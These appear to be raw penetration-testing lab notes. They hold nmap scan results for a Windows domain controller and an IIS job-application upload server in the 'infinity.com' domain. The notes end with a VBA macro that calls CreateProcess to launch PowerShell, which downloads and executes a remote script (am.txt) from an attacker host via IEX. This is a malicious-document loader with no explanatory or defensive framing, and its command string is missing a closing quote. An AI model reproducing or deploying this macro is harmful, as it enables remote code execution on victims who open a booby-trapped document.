└─$ sudo nmap -sC -sV 192.168.209.120-122
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-11 23:41 EDT
Nmap scan report for 192.168.209.120
Host is up (0.023s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-12 03:42:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infinity.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infinity.com0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc03.infinity.com
| Not valid before: 2024-01-10T19:28:06
|_Not valid after: 2024-07-11T19:28:06
| rdp-ntlm-info:
| Target_Name: INFINITY
| NetBIOS_Domain_Name: INFINITY
| NetBIOS_Computer_Name: DC03
| DNS_Domain_Name: infinity.com
| DNS_Computer_Name: dc03.infinity.com
| DNS_Tree_Name: infinity.com
| Product_Version: 10.0.17763
|_ System_Time: 2024-03-12T03:42:21+00:00
|_ssl-date: 2024-03-12T03:43:01+00:00; +1m08s from scanner time.
Service Info: Host: DC03; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1m07s, deviation: 0s, median: 1m07s
| smb2-time:
| date: 2024-03-12T03:42:22
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (1 host up) scanned in 53.33 seconds
192.168.209.121 web05.infinity.com
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Job Application Upload Site
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
135/tcp open msrpc syn-ack Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INFINITY
| NetBIOS_Domain_Name: INFINITY
| NetBIOS_Computer_Name: WEB05
| DNS_Domain_Name: infinity.com
| DNS_Computer_Name: web05.infinity.com
| DNS_Tree_Name: infinity.com
| Product_Version: 10.0.17763
|_ System_Time: 2024-03-12T03:47:50+00:00
|_ssl-date: 2024-03-12T03:48:30+00:00; +1m08s from scanner time.
| ssl-cert: Subject: commonName=web05.infinity.com
| Issuer: commonName=web05.infinity.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-09T04:13:44
| Not valid after: 2024-08-10T04:13:44
| MD5: 05da:dc0d:3f4e:25e9:e2b2:ade4:8b68:cef6
| SHA-1: 06f3:81ce:de5d:14c9:079e:9e6b:c8fa:b594:9b9a:dd8e
| -----BEGIN CERTIFICATE-----
| MIIC6DCCAdCgAwIBAgIQFG9f7Uqfpo1A1sN4oEE4ejANBgkqhkiG9w0BAQsFADAd
| MRswGQYDVQQDExJ3ZWIwNS5pbmZpbml0eS5jb20wHhcNMjQwMjA5MDQxMzQ0WhcN
| MjQwODEwMDQxMzQ0WjAdMRswGQYDVQQDExJ3ZWIwNS5pbmZpbml0eS5jb20wggEi
| MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDoOLblsfbYvgnWdGUepau9c0Gx
| wVzkinXM0EJyl3ysQriv6mHE9DJETh1hoFGDuQTTdJGxUN+jw1bi9m7z0at83qRg
| 6tSThsFsp1+GjBsdrJ8putC5gMuZp0k4HlO+5uz7GJQuhrHsfvUH3YVJwiR5psYe
| nfMH5gWMFpYK5KtuveKYgNLjElitV1M+UjqY52TEmln73uTRcNYhpbItT4G5hQ3X
| url6eNTUUrrfgHXGd2Y+nVsFjCfo1vKcRflhDSAYYv0NCc+9uVe+AwEueHpp1bkU
| 3Vsn6icrbMID192T4Qsz/6G9FbHc9xZEZbZt1UyNt72HwwFVbSVNbP1LtkRtAgMB
| AAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG
| 9w0BAQsFAAOCAQEAZkx9/5vc9TIoBmfPaZaiIL4qlWRW1//k4/mMOKdWyyeBF6GM
| keqrZTpqs2CB0sGxqw+cDZJ8IjkUWPS5Yt/Y7jRzGnIXTICtpbMynXnTr1ISSrCK
| SC+8zigr3RSENP4DWw4qsfuY7LbDqXfe/xWRP/RozWhxe1lXzxpbPG69oAa/6O5r
| R595kMKhJkZq90qaBXRaVk22htILx7tHfy3VcFFbwQp0GmbHofMw54cutA0vKP8/
| LMc3z/IYavBhc97cxPPWWg7I5eDm2jfaZriTerxqW+as7fPo67MEOkfXSl1787gV
| 8ggwaem3pis7aCXDtPDMc9iZigPH3pEG6qq5Ag==
|_-----END CERTIFICATE-----
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-03-12T03:47:51
|_ start_date: N/A
|_clock-skew: mean: 1m07s, deviation: 0s, median: 1m07s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 31228/tcp): CLEAN (Timeout)
| Check 2 (port 37894/tcp): CLEAN (Timeout)
| Check 3 (port 32140/udp): CLEAN (Timeout)
| Check 4 (port 35439/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
192.168.209.122
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack Microsoft Windows RPC
5040/tcp open unknown syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Sub CallMe()
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
Dim PowerShellCommand As String
' Define the PowerShell command to execute
PowerShellCommand = "powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.195:80/am.txt')
' Call CreateProcess with the PowerShell command
lSuccess = CreateProcess("powershell.exe", PowerShellCommand, ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo)
' Close handles to the process and thread
lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)
End Sub
